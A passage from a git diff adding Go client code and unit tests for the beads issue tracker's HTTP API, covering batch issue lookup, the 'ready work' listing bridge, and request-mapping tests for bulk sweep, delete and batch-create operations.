Redoing it here would be a second implementation of a rule that already +// has one, on the operation where a disagreement about which id was "first" +// would reorder the answer rather than merely duplicate work. +func (g *httpBatchGetter) GetMany(ctx context.Context, req issueops.GetManyRequest) (issueops.GetManyResult, error) { + if err := checkGetManyIDs(req.IDs); err != nil { + return issueops.GetManyResult{}, err + } + if len(req.IDs) == 0 { + // Answered locally rather than dialed: an empty request is legal and + // the role promises an empty, non-nil answer, so there is nothing a + // round trip could add — the same early return ExecuteGetMany itself + // takes after deduplication. + return issueops.GetManyResult{Issues: []*issueops.Issue{}, Missing: []string{}}, nil + } + + var body apigen.BatchGetIssuesResult + if err := g.store.dispatch(ctx, wire.Request{ + Op: wire.OpBatchGetIssues, + Method: http.MethodPost, + Path: wire.PathIssuesBatchGet, + Body: apigen.BatchGetIssuesRequest{ + Ids: append([]string(nil), req.IDs...), + }, + }, &body); err != nil { + return issueops.GetManyResult{}, err + } + + issues := make([]*issueops.Issue, 0, len(body.Issues)) + for i := range body.Issues { + entry := body.Issues[i] + // BatchGetIssue.Revision is this operation's only wire spelling of the + // row's token — Issue.RowVersion is json:"-", the same stitch + // getIssuesByExactID and role_reader.go's getIssue make for their own + // responses. Without it, every resolved issue would carry a RowVersion + // of 0, and a caller that fed one into a guarded write would get a + // spurious precondition_failed instead of none. + version, err := parseRevision("BatchGetter.GetMany", entry.Revision) + if err != nil { + return issueops.GetManyResult{}, err + } + issue := entry.Issue + issue.RowVersion = version + issues = append(issues, &issue) + } + + missing := make([]string, len(body.Missing)) + copy(missing, body.Missing) + + return issueops.GetManyResult{ + Issues: issues, + Missing: missing, + }, nil +} + +// checkGetManyIDs applies the request-intrinsic refusals before the dial, +// in the SAME ORDER internal/storage/issueops.ValidateGetManyRequest applies +// them server-side (batch_get.go's batchGetRequest comment says so +// explicitly): the cap first, counted on the request as sent, before any +// deduplication; then the first blank entry. +// +// The blank check is a LITERAL id == "", not a trimmed one: GetManyRequest.IDs +// are exact ids, and DedupeGetManyIDs' own doc says this role does not trim +// whitespace the way DeleteRequest.IDs does, because a caller that padded an +// id is naming a genuinely different, unresolvable id rather than making a +// typo this role should forgive. checkDeleteIDs' TrimSpace check does not +// apply here for that reason. +func checkGetManyIDs(ids []string) error { + if len(ids) > issueops.MaxGetManyIDs { + return &issueops.TooManyIDsError{Requested: len(ids), Cap: issueops.MaxGetManyIDs} + } + for i, id := range ids { + if id == "" { + return fmt.Errorf("%w: get many id at position %d is empty", issueops.ErrValidation, i) + } + } + return nil +} diff --git a/internal/httpclient/bridge.go b/internal/httpclient/bridge.go new file mode 100644 index 000000000..3d808e7e4 --- /dev/null +++ b/internal/httpclient/bridge.go @@ -0,0 +1,197 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/bridge.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "errors" + "net/http" + "net/url" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/encode" + "github.com/steveyegge/beads/internal/httpclient/wire" + storageops "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// The off-role ready bridge, and the raw issue read the `--parent` walk probes +// with. +// +// The bridge exists because `bd ready`'s listing is still raw at tip +// (cmd/bd/ready.go:172 and :211): the front door has not moved onto +// issueops.Reader, so a reverse types.WorkFilter mapper is required until it +// does. D8 calls it deliberately throwaway and it is — what is not throwaway is +// the rule it holds to: every field it cannot express REFUSES, because a dropped +// filter widens a result set invisibly and the server can only reject the +// parameters it receives (L12). +// +// The SEARCH bridge is not here. Its two shapes are id resolution's (resolve.go) +// and the descendant walk's, and both live beside the surfaces that own them. + +// GetReadyWork serves `bd ready`'s text listing. +// +// It is the projection and GetReadyWorkWithCounts is the primitive, not the +// other way round: the wire hydrates the three cardinalities either way, because +// the page element IS types.IssueWithCounts. +func (s *Store) GetReadyWork(ctx context.Context, filter types.WorkFilter) ([]*types.Issue, error) { + rows, err := s.GetReadyWorkWithCounts(ctx, filter) + if err != nil { + return nil, err + } + out := make([]*types.Issue, 0, len(rows)) + for _, row := range rows { + out = append(out, row.Issue) + } + return out, nil +} + +// GetReadyWorkWithCounts is the same listing with the counts `bd ready --json` +// prints. +// +// ONE REQUEST, NO PAGING. listReadyWork publishes no cursor — its sort policies +// admit no keyset predicate — so `limit` and the server's own has_more ARE the +// page contract, exactly as they are for the Reader.Ready role this bridge dies +// in favor of. The request is built by the same encoder and dialed through the +// same door, so the two spellings of "list ready work" cannot drift apart. +func (s *Store) GetReadyWorkWithCounts(ctx context.Context, filter types.WorkFilter) ([]*types.IssueWithCounts, error) { + rows, _, err := s.readyBridgePage(ctx, "GetReadyWorkWithCounts", filter) + return rows, err +} + +// GetReadyWorkWithCountsAndTotal is GetReadyWorkWithCounts plus the size of the +// whole ready set, which `bd ready --json` prints as its pagination total. +// +// AT MOST TWO REQUESTS. listReadyWork's ReadyPage carries items and has_more +// but no total, so the total cannot ride the page the way it does in a SQL +// backend's single transaction. When the server says the page is the whole set +// (has_more false — always the case for an unlimited listing) the total IS the +// page length and no second request is made. Only a truncated page pays one +// countReadyWork round trip, encoded from the same filter by +// encode.ReadyBridgeCountParams, which is the round trip the text path's +// ReadyCounter role already makes. +// +// The two requests are two server transactions, not one snapshot: a write +// landing between them can make the total disagree with the page by that +// write. The total is clamped to at least the page length so the envelope +// never reports fewer items than it carries. +// +// Every refusal the listing makes is made before either request (the count +// encoder runs the listing's encoder), so a filter the wire cannot express — +// ExcludeIDs included — fails here exactly as it fails GetReadyWorkWithCounts. +func (s *Store) GetReadyWorkWithCountsAndTotal(ctx context.Context, filter types.WorkFilter) ([]*types.IssueWithCounts, int, error) { + const op = "GetReadyWorkWithCountsAndTotal" + countParams, err := encode.ReadyBridgeCountParams(filter) + if err != nil { + return nil, 0, s.inexpressible(op, err) + } + rows, hasMore, err := s.readyBridgePage(ctx, op, filter) + if err != nil { + return nil, 0, err + } + if !hasMore { + return rows, len(rows), nil + } + var body apigen.ReadyCount + if err := s.dispatch(ctx, wire.Request{ + Op: wire.OpCountReadyWork, + Method: http.MethodGet, + Path: wire.PathReadyCount, + Query: countParams, + }, &body); err != nil { + return nil, 0, err + } + total := int(body.Total) + if total < len(rows) { + total = len(rows) + } + return rows, total, nil +} + +// readyBridgePage is the one listReadyWork request both bridge listings make, +// returning the rows and the server's has_more. +func (s *Store) readyBridgePage(ctx context.Context, op string, filter types.WorkFilter) ([]*types.IssueWithCounts, bool, error) { + params, err := encode.ReadyBridgeParams(filter) + if err != nil { + return nil, false, s.inexpressible(op, err) + } + var body apigen.ReadyPage + if err := s.dispatch(ctx, wire.Request{ + Op: wire.OpListReadyWork, + Method: http.MethodGet, + Path: wire.PathReady, + Query: params, + }, &body); err != nil { + return nil, false, err + } + // filter.Lite IS ReadyRequest.Brief — internal/workapi assigns one to the + // other — so the two doors have to stamp the same marker or the same request + // answers differently depending on which one it came in. That agreement is + // the whole of E-WorkFilter.Lite's retirement note. + rows := wireRows(body.Items, filter.Lite) + // The cap bounds the rows this client accepted off the wire, which for a + // cursorless operation is one page. It still fires: a caller whose page is + // wider than their cap gets exit 2 rather than a silently oversized answer. + if filter.MaxRows > 0 && len(rows) > filter.MaxRows { + return nil, false, &storageops.ErrTooManyRows{ + Found: len(rows), + Cap: filter.MaxRows, + Source: filter.MaxRowsSource, + } + } + return rows, body.HasMore, nil +} + +// GetIssue serves getIssue. It is the `bd list --parent` walk's +// parent-existence probe and the molecule loader's read half. +// +// A MISS IS (nil, nil), NOT AN ERROR. That is the raw method's own contract and +// the walk depends on it: getHierarchicalChildren reads a nil result as "parent +// issue not found" and prints that, where an error would print the transport's +// vocabulary instead. +func (s *Store) GetIssue(ctx context.Context, id string) (*types.Issue, error) { + if id == "" { + return nil, nil + } + path, err := wire.IssuePath(id) + if err != nil { + return nil, err + } + // Neither row list: this is the existence probe and the loader's read, and + // both discard everything but the row. Asking for dependents and comments + // would buy two joins nobody reads. + var details types.IssueDetails + err = s.dispatch(ctx, wire.Request{ + Op: wire.OpGetIssue, + Method: http.MethodGet, + Path: path, + Query: url.Values{}, + IssueID: id, + }, &details) + if errors.Is(err, issueops.ErrNotFound) { + return nil, nil + } + if err != nil { + return nil, err + } + // The detail view carries labels in a field of its OWN rather than on the + // embedded issue, and the local GetIssue hydrates them onto the issue. + // Lifting them across is what makes the two answers the same value — the + // same correction getIssuesByExactID makes for the resolver's fast path. + issue := details.Issue + if len(issue.Labels) == 0 && len(details.Labels) > 0 { + issue.Labels = append([]string(nil), details.Labels...) + } + // Issue.RowVersion is json:"-", so the decode above left it at 0 and + // Revision — getIssue's only wire spelling of the token — carries the real + // value. A molecule loader (or any other caller of this read) that then + // guards a write off issue.RowVersion must see the row's actual token, not + // every row's as though none had ever been written. + version, err := parseRevision("getIssue", details.Revision) + if err != nil { + return nil, err + } + issue.RowVersion = version + return &issue, nil +} diff --git a/internal/httpclient/brief_test.go b/internal/httpclient/brief_test.go new file mode 100644 index 000000000..fbe70fba2 --- /dev/null +++ b/internal/httpclient/brief_test.go @@ -0,0 +1,157 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/brief_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "testing" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// THE BRIEF DOOR: the projection marker, stamped client-side. +// +// `brief` is a request parameter on GET /v0/beads/issues and GET +// /v0/beads/ready (#5586) and this client sends it on both pages plus the ready +// bridge, so the server leaves the six heavy text columns unselected and the +// rows come back with them zero-valued. What does NOT come back is the fact that +// they were projected: types.Issue.IsLitePartial is `json:"-"`, so it never +// crosses, and a projected row is byte-identical to a genuinely textless one. +// +// THE ROW SAYS SO IN PROCESS AND THE WIRE SAYS SO BY HAVING BEEN ASKED, which is +// upstream's own resolution of the ambiguity (issueops/reader.go, ListRequest. +// Brief: "a wire consumer distinguishes them by having asked"). This client IS +// the consumer that asked, so it is the layer that can stamp — and it is the +// only one: the server cannot send a member the type does not marshal, and a +// caller above this seam has no way to know which of its rows came from a +// projected page. +// +// WHY IT IS NOT OPTIONAL. backend/conformance/reader_contract.go's +// assertReaderBriefRow hard-fails a projected row carrying IsLitePartial=false — +// "a blank body and a genuinely textless one are indistinguishable without it" — +// so the three Brief contracts cannot be adopted by any leg that does not stamp. +// That is why deferring the marker to this wave was safe: the contract forces +// it, loudly, at the moment the contract is wired. + +// briefWire answers each page with one row whose heavy text is EMPTY, which is +// what a `brief` page really looks like on the wire — and is exactly why the +// marker cannot be inferred from the payload. +type briefWire struct { + recordingWire + lastQuery string +} + +func (b *briefWire) Do(ctx context.Context, req wire.Request, out any) error { + b.lastQuery = req.Query.Get("brief") + row := apigen.IssueWithCounts{Issue: &types.Issue{ID: "http-brief-1", Title: "t"}} + switch body := out.(type) { + case *apigen.ReadyPage: + *body = apigen.ReadyPage{Items: []apigen.IssueWithCounts{row}} + return nil + case *apigen.IssuesPage: + *body = apigen.IssuesPage{Items: []apigen.IssueWithCounts{row}} + return nil + } + return b.recordingWire.Do(ctx, req, out) +} + +func briefStore(t *testing.T) (*Store, *briefWire) { + t.Helper() + w := &briefWire{} + return New(testTarget(t), w, &apigen.ContextResponse{}), w +} + +// TestBriefListingsStampTheProjectionMarker covers all THREE doors the parameter +// reaches: the listing, the ready page, and the off-role ready bridge whose +// legacy WorkFilter.Lite IS ReadyRequest.Brief under another name. +// +// The three are checked together rather than one per case because the bug this +// pins is asymmetric wiring: a client that stamped the listing and not the ready +// page would answer the same request two ways depending on which door it came +// in, which is the exact disagreement E-WorkFilter.Lite's ledger row warns about. +func TestBriefListingsStampTheProjectionMarker(t *testing.T) { + ctx := context.Background() + + for _, tc := range []struct { + name string + brief bool + }{ + {"projected", true}, + {"hydrated", false}, + } { + t.Run(tc.name, func(t *testing.T) { + store, w := briefStore(t) + reader, err := store.IssueReader() + if err != nil { + t.Fatalf("IssueReader(): %v", err) + } + + list, err := reader.List(ctx, issueops.ListRequest{Brief: tc.brief}) + if err != nil { + t.Fatalf("List(): %v", err) + } + assertBriefMarker(t, "Reader.List", list.Items, tc.brief) + assertBriefParam(t, "Reader.List", w.lastQuery, tc.brief) + + ready, err := reader.Ready(ctx, issueops.ReadyRequest{Brief: tc.brief}) + if err != nil { + t.Fatalf("Ready(): %v", err) + } + assertBriefMarker(t, "Reader.Ready", ready.Items, tc.brief) + assertBriefParam(t, "Reader.Ready", w.lastQuery, tc.brief) + + // StatusOpen is not decoration: the bridge's derived-default + // inversion refuses any other status, because listReadyWork + // publishes none and the server re-derives exactly this one. Every + // real `bd ready` filter carries it for the same reason. + bridged, err := store.GetReadyWorkWithCounts(ctx, types.WorkFilter{ + Status: types.StatusOpen, + Lite: tc.brief, + }) + if err != nil { + t.Fatalf("GetReadyWorkWithCounts(): %v", err) + } + assertBriefMarker(t, "the ready bridge", bridged, tc.brief) + assertBriefParam(t, "the ready bridge", w.lastQuery, tc.brief) + }) + } +} + +// assertBriefMarker holds one page's rows to the marker the request earned. +// +// BOTH DIRECTIONS ARE ASSERTED, and the false one is not filler: a client that +// stamped unconditionally would tell every caller of an ordinary `bd list` that +// its rows are partial, which sends a consumer to refetch a body it already has +// — the same cost as the missing stamp, pointed the other way. +func assertBriefMarker(t *testing.T, what string, rows []*types.IssueWithCounts, want bool) { + t.Helper() + if len(rows) == 0 { + t.Fatalf("%s answered no rows; this case cannot assert the marker on an empty page", what) + } + for _, row := range rows { + if row == nil || row.Issue == nil { + t.Fatalf("%s answered a row with no issue", what) + } + if row.IsLitePartial != want { + t.Errorf("%s returned IsLitePartial = %v on %s, want %v: a projected row and a genuinely textless one are indistinguishable without it", + what, row.IsLitePartial, row.ID, want) + } + } +} + +// assertBriefParam is the other half of the same statement: the marker must +// describe a projection that was actually REQUESTED. Stamping a row the server +// hydrated in full would be this client inventing the fact rather than reporting +// it. +func assertBriefParam(t *testing.T, what, got string, want bool) { + t.Helper() + if want && got != "true" { + t.Errorf("%s sent brief=%q, want %q — the marker has to describe a projection the request asked for", what, got, "true") + } + if !want && got != "" { + t.Errorf("%s sent brief=%q on a hydrated read, want it absent", what, got) + } +} diff --git a/internal/httpclient/bulk_roles_test.go b/internal/httpclient/bulk_roles_test.go new file mode 100644 index 000000000..efa535889 --- /dev/null +++ b/internal/httpclient/bulk_roles_test.go @@ -0,0 +1,872 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/bulk_roles_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "encoding/json" + "errors" + "reflect" + "slices" + "sort" + "strings" + "testing" + "time" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/encode" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// The three BULK writes — sweepIssues, deleteIssues, batchCreateIssues — at the +// role boundary, with no server in sight. +// +// What is provable here and nowhere else is the REQUEST: which members reached +// the wire, which refused before the dial, and which never reached it at all. +// The served tier (served_bulk_test.go) answers the other half — what the +// server does with them — and cannot see a dropped member, because a server +// only rejects the parameters it receives. + +func bulkSweeper(t *testing.T, w *stubWire) issueops.Sweeper { + t.Helper() + sweeper, err := stubStore(t, w).Sweeper() + if err != nil { + t.Fatalf("Sweeper(): %v", err) + } + return sweeper +} + +func bulkDeleter(t *testing.T, w *stubWire) issueops.Deleter { + t.Helper() + deleter, err := stubStore(t, w).Deleter() + if err != nil { + t.Fatalf("Deleter(): %v", err) + } + return deleter +} + +func bulkCreator(t *testing.T, w *stubWire) issueops.BatchCreator { + t.Helper() + creator, err := stubStore(t, w).BatchCreator() + if err != nil { + t.Fatalf("BatchCreator(): %v", err) + } + return creator +} + +// TestSweepSendsEveryNarrowingMemberExplicitly is the sweep's whole request +// mapping in one assertion, and the two BOOLEANS are why it exists. +// +// protect_referenced DEFAULTS ON over the wire — an unauthenticated surface is +// where a default must be the guarded one — while the role's zero value is off. +// A client that omitted a false one would silently turn `bd prune +// --ignore-references` into a protected sweep and report skips the caller never +// asked for: a NARROWER answer than the request, which is refuse-not-drop's +// failure class in the other direction. +func TestSweepSendsEveryNarrowingMemberExplicitly(t *testing.T) { + cutoff := time.Date(2026, 4, 1, 12, 0, 0, 0, time.UTC) + w := &stubWire{} + if _, err := bulkSweeper(t, w).Sweep(t.Context(), issueops.SweepRequest{ + Actor: "sweeper", + Tier: issueops.SweepDurable, + ClosedBefore: &cutoff, + IDPattern: "bd-*", + ProtectReferenced: false, + DryRun: true, + }); err != nil { + t.Fatalf("Sweep(): %v", err) + } + + got := w.lastSweep + if got.Tier != apigen.Durable { + t.Errorf("tier = %q, want %q", got.Tier, apigen.Durable) + } + if got.Actor == nil || *got.Actor != "sweeper" { + t.Errorf("actor = %v, want \"sweeper\"", got.Actor) + } + if got.Pattern == nil || *got.Pattern != "bd-*" { + t.Errorf("pattern = %v, want \"bd-*\"", got.Pattern) + } + if got.ClosedBefore == nil || !got.ClosedBefore.Equal(cutoff) { + t.Errorf("closed_before = %v, want %v", got.ClosedBefore, cutoff) + } + if got.ProtectReferenced == nil { + t.Fatal("protect_referenced was omitted; the wire defaults it ON, so an omitted false is a protection the caller declined") + } + if *got.ProtectReferenced { + t.Error("protect_referenced = true for a request that asked for false") + } + if got.DryRun == nil || !*got.DryRun { + t.Errorf("dry_run = %v, want true", got.DryRun) + } +} + +// TestTheBulkWritesOmitABlankActorRatherThanSendingOne pins the one member +// whose EMPTY spelling the two sides disagree about. +// +// The role accepts an empty Actor — a deleted row leaves nothing to attribute +// the deletion on — and the server refuses an actor that is empty AFTER +// TRIMMING. So the test is the TRIM, not `!= ""`: a tab-and-space Actor is an +// accepted request against every local backend, and forwarding it would turn +// that request into a 400 on this backend alone. +func TestTheBulkWritesOmitABlankActorRatherThanSendingOne(t *testing.T) { + for _, actor := range []string{"", " ", "\t \n"} { + w := &stubWire{} + if _, err := bulkSweeper(t, w).Sweep(t.Context(), issueops.SweepRequest{ + Tier: issueops.SweepEphemeral, Actor: actor, + }); err != nil { + t.Fatalf("Sweep(actor=%q): %v", actor, err) + } + if w.lastSweep.Actor != nil { + t.Errorf("sweep actor = %q for a blank Actor %q; the server refuses one that is empty after trimming", + *w.lastSweep.Actor, actor) + } + + w = &stubWire{} + if _, err := bulkDeleter(t, w).Delete(t.Context(), issueops.DeleteRequest{ + IDs: []string{"bd-1"}, Force: true, Actor: actor, + }); err != nil { + t.Fatalf("Delete(actor=%q): %v", actor, err) + } + if w.lastDelete.Actor != nil { + t.Errorf("delete actor = %q for a blank Actor %q", *w.lastDelete.Actor, actor) + } + } + + // A blank Actor on the batch create is a REFUSAL rather than an omission: + // batchCreateIssues publishes actor as required, and the role's own contract + // says a create batch must name its creator. + w := &stubWire{} + _, err := bulkCreator(t, w).CreateBatch(t.Context(), issueops.CreateBatchRequest{ + Actor: " ", Items: []issueops.BatchCreateItem{{Issue: &issueops.Issue{Title: "t"}}}, + }) + if !errors.Is(err, issueops.ErrValidation) { + t.Errorf("CreateBatch(blank actor) = %v, want ErrValidation", err) + } + if len(w.calls) != 0 { + t.Errorf("a blank-actor batch create dialed %v", w.calls) + } + + // The pattern rides along: absent matches every bead in the tier, and + // sending an empty string would be a second spelling of the same request. + w = &stubWire{} + if _, err := bulkSweeper(t, w).Sweep(t.Context(), issueops.SweepRequest{Tier: issueops.SweepEphemeral}); err != nil { + t.Fatalf("Sweep(): %v", err) + } + if w.lastSweep.Pattern != nil { + t.Errorf("pattern = %q for a request that named none", *w.lastSweep.Pattern) + } +} + +// TestSweepRefusesATierTheWireDoesNotPublish is the ONE refusal this role +// decides for itself, and it decides it because the tier is an ENUM the client +// has to map. Everything else the role's contract calls invalid — the +// require-a-filter gate, the glob — is refused by the server's own copy of the +// role, so re-deciding it here would be a second definition of the rule that +// keeps a workspace's history from being erased by an omission. +func TestSweepRefusesATierTheWireDoesNotPublish(t *testing.T) { + for _, tier := range []issueops.SweepTier{"", "wisps"} { + w := &stubWire{} + _, err := bulkSweeper(t, w).Sweep(t.Context(), issueops.SweepRequest{Tier: tier, IDPattern: "*"}) + if !errors.Is(err, issueops.ErrValidation) { + t.Errorf("Sweep(tier=%q) error = %v, want ErrValidation", tier, err) + } + if len(w.calls) != 0 { + t.Errorf("Sweep(tier=%q) dialed %v; a request the role calls invalid must not reach a shared server", tier, w.calls) + } + } +} + +// TestSweepDoesNotWriteThroughTheCallersCutoff pins the pointer the role +// promises never to write through. A marshaler is a read today; the copy is +// what keeps it a read after the next helper is added. +func TestSweepDoesNotWriteThroughTheCallersCutoff(t *testing.T) { + cutoff := time.Date(2026, 4, 1, 12, 0, 0, 0, time.UTC) + w := &stubWire{} + if _, err := bulkSweeper(t, w).Sweep(t.Context(), issueops.SweepRequest{ + Tier: issueops.SweepDurable, ClosedBefore: &cutoff, + }); err != nil { + t.Fatalf("Sweep(): %v", err) + } + if w.lastSweep.ClosedBefore == &cutoff { + t.Error("the request body aliases the caller's cutoff pointer rather than copying it") + } +} + +// TestSweepResultCarriesEveryWireMember is the RESPONSE half of the sweep's +// mapping. SweepResult is deliberately not x-go-type-pinned, so the projection +// is hand-written and a member the server grows would otherwise be dropped in +// silence — a result whose numbers are quietly wrong about what was erased. +func TestSweepResultCarriesEveryWireMember(t *testing.T) { + w := &stubWire{swept: &apigen.SweepResult{ + DryRun: true, Swept: 3, Dependencies: 4, Labels: 5, Events: 6, + Skipped: apigen.SweepSkips{ + Pinned: 7, Referenced: 8, NotClosed: 9, + UnknownClosedAt: 10, ClosedAtOrAfterCutoff: 11, Unreadable: 12, + }, + ReferencedIds: &[]string{"bd-1"}, + }} + result, err := bulkSweeper(t, w).Sweep(t.Context(), issueops.SweepRequest{Tier: issueops.SweepEphemeral}) + if err != nil { + t.Fatalf("Sweep(): %v", err) + } + // Remaining and LiveDependent are skipped: OSS's wire publishes no + // `remaining` or structural-dependent skip member for either to decode out + // of (W-SweepRequest.Limit, W-SweepRequest.ProtectLiveDependents refuse the + // request members that would produce them), so no wire body — fully + // populated or not — can ever make this projection set them. + assertEveryFieldPopulated(t, "SweepResult", reflect.ValueOf(result), "Remaining") + assertEveryFieldPopulated(t, "SweepSkips", reflect.ValueOf(result.Skipped), "LiveDependent") + if !reflect.DeepEqual(result.ReferencedIDs, []string{"bd-1"}) { + t.Errorf("ReferencedIDs = %v, want [bd-1]", result.ReferencedIDs) + } +} + +// TestDeleteResultCarriesEveryWireMember is the same guard on the delete, whose +// result is likewise unpinned. +func TestDeleteResultCarriesEveryWireMember(t *testing.T) { + w := &stubWire{deleted: &apigen.DeleteIssuesResult{ + DryRun: true, Deleted: 2, Dependencies: 3, Labels: 4, Events: 5, + ReferencesUpdated: 6, Orphaned: &[]string{"bd-9"}, + }} + result, err := bulkDeleter(t, w).Delete(t.Context(), issueops.DeleteRequest{IDs: []string{"bd-1"}, Force: true}) + if err != nil { + t.Fatalf("Delete(): %v", err) + } + assertEveryFieldPopulated(t, "DeleteResult", reflect.ValueOf(result)) + if !reflect.DeepEqual(result.Orphaned, []string{"bd-9"}) { + t.Errorf("Orphaned = %v, want [bd-9]", result.Orphaned) + } +} + +// TestDeleteSendsTheIDsVerbatim pins that the client normalizes NOTHING. +// +// The role collapses duplicates and trims, and so does the server's copy of it. +// Doing it again here would be a second implementation of "which ids were +// named" on the one operation where a disagreement deletes the wrong rows — and +// normalizing in place would hand the caller back a shorter, reordered version +// of the list a CLI then echoes. +func TestDeleteSendsTheIDsVerbatim(t *testing.T) { + ids := []string{" bd-1 ", "bd-1", "bd-2"} + snapshot := append([]string(nil), ids...) + + w := &stubWire{} + if _, err := bulkDeleter(t, w).Delete(t.Context(), issueops.DeleteRequest{ + IDs: ids, Actor: "deleter", Cascade: true, Force: true, DryRun: true, + }); err != nil { + t.Fatalf("Delete(): %v", err) + } + if !reflect.DeepEqual(w.lastDelete.Ids, snapshot) { + t.Errorf("ids = %v, want the caller's list verbatim %v", w.lastDelete.Ids, snapshot) + } + if !reflect.DeepEqual(ids, snapshot) { + t.Errorf("the caller's slice changed across the call: %v", ids) + } + for name, got := range map[string]*bool{ + "cascade": w.lastDelete.Cascade, "force": w.lastDelete.Force, "dry_run": w.lastDelete.DryRun, + } { + if got == nil || !*got { + t.Errorf("%s = %v, want true", name, got) + } + } + if w.lastDelete.Actor == nil || *w.lastDelete.Actor != "deleter" { + t.Errorf("actor = %v, want \"deleter\"", w.lastDelete.Actor) + } + // The body must not alias the caller's slice: a marshaler reads it, but a + // shared backing array is one helper away from a write. + if len(w.lastDelete.Ids) > 0 && &w.lastDelete.Ids[0] == &ids[0] { + t.Error("the request body aliases the caller's id slice rather than copying it") + } +} + +// TestDeleteRefusesAnUnusableIDList pins the refusals the role's own contract +// states, all of them decidable from the request alone. The empty case is the +// dangerous one: answering it as a cheerful "deleted 0" is how a caller whose +// id list came out empty concludes the workspace was already clean. +func TestDeleteRefusesAnUnusableIDList(t *testing.T) { + for _, ids := range [][]string{nil, {}, {" "}, {"bd-1", ""}} { + w := &stubWire{} + _, err := bulkDeleter(t, w).Delete(t.Context(), issueops.DeleteRequest{IDs: ids, Force: true}) + if !errors.Is(err, issueops.ErrValidation) { + t.Errorf("Delete(%v) error = %v, want ErrValidation", ids, err) + } + if len(w.calls) != 0 { + t.Errorf("Delete(%v) dialed %v; a request the role calls invalid must not reach a shared server", ids, w.calls) + } + } +} + +// TestDeleteRefusesMoreIDsThanTheWireCarries is ledger row L-delete-bound's +// pin, and it asserts the boundary from BOTH sides: exactly the bound serves, +// one more refuses, and the refusal never dials. +// +// "Never dials" is the assertion that matters. What this row forbids is +// SPLITTING: two requests are two transactions and two history entries where +// the contract promises one, and the dependents guard — which can only see the +// ids in front of it — would refuse a pair the caller deliberately listed +// together. +func TestDeleteRefusesMoreIDsThanTheWireCarries(t *testing.T) { + ids := make([]string, maxDeleteIDs) + for i := range ids { + ids[i] = "bd-" + strings.Repeat("0", 4) + string(rune('a'+i%26)) + } + + w := &stubWire{} + if _, err := bulkDeleter(t, w).Delete(t.Context(), issueops.DeleteRequest{IDs: ids, Force: true}); err != nil { + t.Fatalf("Delete(%d ids) at the bound: %v", maxDeleteIDs, err) + } + if len(w.calls) != 1 { + t.Errorf("a delete at the bound dialed %v, want one request", w.calls) + } + + w = &stubWire{} + _, err := bulkDeleter(t, w).Delete(t.Context(), issueops.DeleteRequest{IDs: append(ids, "bd-over"), Force: true}) + assertRefusedBy(t, err, "L-delete-bound") + if len(w.calls) != 0 { + t.Errorf("a delete over the bound dialed %v; it must refuse rather than split", w.calls) + } +} + +// TestDeleteSendsTheRowVersionPrecondition is the compare-and-delete guard's +// round trip, and it is the operation where getting the encoding wrong is worst: +// the close it mirrors leaves a row behind to compare afterwards and this leaves +// nothing at all. +// +// The absent leg is the one that matters. `expected_version` 0 is a legal token +// — the migration-0054 backfill left rows holding it — so a client that encoded +// "no guard" as 0 would arm a guard on every unguarded delete, and the requests +// it then refused would be exactly the ones aimed at never-written rows. +// +// The MULTI-ID refusal is deliberately NOT anticipated here. The wire refuses a +// guard beside more than one DISTINCT id, and distinctness is measured after +// trimming and collapsing duplicates — the same normalization this role sends +// its ids verbatim to avoid re-implementing, on the operation where a +// disagreement about which ids were named deletes the wrong rows. So that +// refusal is the server's, and the served tier asserts it end to end. +func TestDeleteSendsTheRowVersionPrecondition(t *testing.T) { + version := int64(9) + for _, tc := range []struct { + name string + want *int64 + req issueops.DeleteRequest + }{ + {name: "guarded", want: &version, req: issueops.DeleteRequest{ExpectedVersion: &version}}, + {name: "zero is a real token", want: new(int64), req: issueops.DeleteRequest{ExpectedVersion: new(int64)}}, + {name: "unguarded", want: nil, req: issueops.DeleteRequest{}}, + } { + t.Run(tc.name, func(t *testing.T) { + w := &stubWire{} + req := tc.req + req.IDs = []string{"bd-1"} + if _, err := bulkDeleter(t, w).Delete(t.Context(), req); err != nil { + t.Fatalf("Delete: %v", err) + } + assertExpectedVersion(t, "deleteIssues", w.lastDelete.ExpectedVersion, tc.want) + }) + } +} + +// TestBatchCreateRefusesMoreItemsThanTheWireCarries is L-batchcreate-bound's +// pin, on the same argument: the request IS the transaction. +func TestBatchCreateRefusesMoreItemsThanTheWireCarries(t *testing.T) { + items := make([]issueops.BatchCreateItem, maxBatchCreateItems) + for i := range items { + items[i] = issueops.BatchCreateItem{Issue: &issueops.Issue{Title: "t"}} + } + + w := &stubWire{} + if _, err := bulkCreator(t, w).CreateBatch(t.Context(), issueops.CreateBatchRequest{Actor: "w", Items: items}); err != nil { + t.Fatalf("CreateBatch(%d items) at the bound: %v", maxBatchCreateItems, err) + } + if len(w.calls) != 1 { + t.Errorf("a batch at the bound dialed %v, want one request", w.calls) + } + + w = &stubWire{} + over := append(items, issueops.BatchCreateItem{Issue: &issueops.Issue{Title: "over"}}) + _, err := bulkCreator(t, w).CreateBatch(t.Context(), issueops.CreateBatchRequest{Actor: "w", Items: over}) + assertRefusedBy(t, err, "L-batchcreate-bound") + if len(w.calls) != 0 { + t.Errorf("a batch over the bound dialed %v; it must refuse rather than split", w.calls) + } +} + +// TestBatchCreateSendsTheItemMembersTheWireCarries is the item mapping, member +// by member. PRIORITY is the one to read twice: 0 is P0/critical and a real +// request, so it is sent always — an absent member is the workspace default, +// which would silently reprioritize every critical issue in a plan. +func TestBatchCreateSendsTheItemMembersTheWireCarries(t *testing.T) { + w := &stubWire{} + if _, err := bulkCreator(t, w).CreateBatch(t.Context(), issueops.CreateBatchRequest{ + Actor: "planner", + Items: []issueops.BatchCreateItem{{ + Issue: &issueops.Issue{ 